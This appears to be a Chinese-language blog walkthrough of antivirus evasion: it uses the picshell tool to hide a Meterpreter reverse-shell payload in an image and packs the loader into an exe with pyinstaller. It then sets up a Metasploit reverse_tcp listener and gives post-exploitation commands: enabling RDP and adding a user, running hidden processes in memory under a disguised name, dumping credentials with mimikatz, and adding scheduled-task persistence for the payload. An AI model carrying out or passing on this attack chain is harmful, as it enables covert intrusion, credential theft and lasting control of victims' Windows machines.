python實現的分離免殺(包含pyinstaller的安裝與使用)
題記
今天本來打算學python的,突然看到萌萌噠的小玉玉發了個免殺的工具,迫不及待的來試試了。此貼記錄我實際操作的整個過程,在此膜拜大神,大神上次還分享了個0day(雖然爛大街了),但是對於我這個菜鳥來說,還是很有幫助的。
專案地址:https://gitee.com/cutecuteyu/picshell_bypassav
視訊教程(附帶程式碼解析):http://bilibili.com/video/BV1LA41147NQ
一、準備工作
機器:kali(ip:192.168.0.119)、win10(ip:192.168.0.200)
圖片:3.jpg
環境:python3
二、安裝pyinstaller
pyinstaller的安裝
2.1在cmd輸入pip install pyinstaller 安裝python打包成exe的工具。
2.2在 PyInstaller 模組安裝成功之後,在 Python 的安裝目錄下的Scripts(D:\Python\Python36\Scripts)目錄下會增加一個 pyinstaller.exe 程式,接下來就可以使用該工具將 Python 程式生成 EXE 程式了。
三、實現免殺程式生成
3.1kali解壓picshell的包。
3.2命令列中執行python3 picshell.py
按照步驟
請輸入圖片的路徑 :3.jpg(相對路徑,最好是和picshell.py在同一資料夾下)
請設定lhost (預設:127.0.0.1):192.168.0.119
請設定lport (預設:4444):
會生成payload.py與一個output資料夾。
3.3將生成的payload.py放到windows上用:pyinstaller -F payload.py生成exe檔案
3.4將exe檔案與注入後的圖片放在同一目錄即可使用
四、程式利用
4.1kali啟動msf
注意:首次啟動需要連結資料庫
msfconsole
進入後開啟監聽模式
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.119
show options
4.2開啟監聽後在另一個機器執行我們的木馬(可改名)。可以看到拿到許可權。
4.3利用(參考:http://cnblogs.com/backlion/p/9484949.html)
(1)開啟3389
run post/windows/manage/enable_rdp
(2)建立使用者加入桌面組
run post/windows/manage/enable_rdp username="Waldo1111test" password="123456hhhh."
help# 檢視Meterpreter幫助
background#返回,把meterpreter後臺掛起
bgkill# 殺死一個背景 meterpreter 指令碼
bglist#提供所有正在執行的後臺指令碼的列表
bgrun#作為一個後臺執行緒執行指令碼
channel#顯示活動頻道
sessions -i number # 與會話進行互動,number表示第n個session,使用session -i連線到指定序號的meterpreter會話已繼續利用
sesssions -k number #與會話進行互動
close# 關閉通道
exit# 終止 meterpreter 會話
quit# 終止 meterpreter 會話
interact id #切換進一個通道
(3)execute命令
"execute"命令為目標主機上執行一個命令,其中"execute -h"顯示幫助資訊。-f為執行要執行的命令,
在目標主機上執行某個程式,例如我們目前注入程序到explorer.exe後,執行使用者為超級管理administrator
我們執行一下目標主機上的記事本程式
execute -fnotepad.exe
目標主機上立馬彈出來一個記事本程式,如下圖:
這樣太明顯,如果希望隱藏後臺執行,加引數-H
execute -H -fnotepad.exe
此時目標主機桌面沒反應,但我們在meterpreter會話上使用ps命令看到了
再看一個,我們執行目標主機上的cmd.exe程式,並以隱藏的方式直接互動到我們的meterpreter會話上
命令:
execute -H -i -fcmd.exe
這達到的效果就跟使用shell命令一樣了
再來一個,在目標主機記憶體中直接執行我們攻擊主機上的攻擊程式,比如wce.exe,又比如木馬等,這樣可以避免攻擊程式儲存到目標主機硬碟上被發現或被查殺。
execute -H -m -d notepad.exe-f wce.exe -a "-owce.txt"
-d在目標主機執行時顯示的程序名稱(用以偽裝)
-m直接從記憶體中執行
"-owce.txt"是wce.exe的執行引數
(4)mimikatz
meterpreter > load mimikatz #載入mimikatz
meterpreter > msv #獲取hash值
meterpreter > kerberos #獲取明文
meterpreter >ssp #獲取明文資訊
meterpreter > wdigest #獲取系統賬戶資訊
meterpreter >mimikatz_command -f a:: #必須要以錯誤的模組來讓正確的模組顯示
meterpreter >mimikatz_command -f hash:: #獲取目標hash
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
SCHTASKS /Create /TN calc /TR d:\shell\payload.exe /SC DAILY /ST 10:54